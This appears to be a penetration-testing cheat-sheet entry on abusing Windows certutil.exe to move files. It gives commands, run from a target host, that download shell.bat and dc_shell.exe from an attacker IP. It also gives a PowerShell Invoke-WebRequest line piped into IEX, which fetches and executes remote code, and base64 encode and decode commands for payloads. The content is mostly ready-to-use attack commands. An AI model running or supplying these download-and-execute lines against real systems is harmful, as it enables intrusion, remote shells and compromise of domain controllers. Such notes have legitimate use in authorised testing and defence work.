certutil
certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.
Import a file: (from a windows target host)
| certutil.exe -urlcache -split -f http://$ipAtacker:8080/shell.bat shell.bat
certutil.exe -urlcache -split -f http://172.16.8.120:6666/dc_shell.exe dc_shell.exe
Invoke-WebRequest http://172.16.8.120:8765/dc_shell.exe -UseBasicParsing | IEX
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Encode to base64:
| certutil -encode file1 encodedfile
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Decode a file
| certutil -decode encodedfile file2
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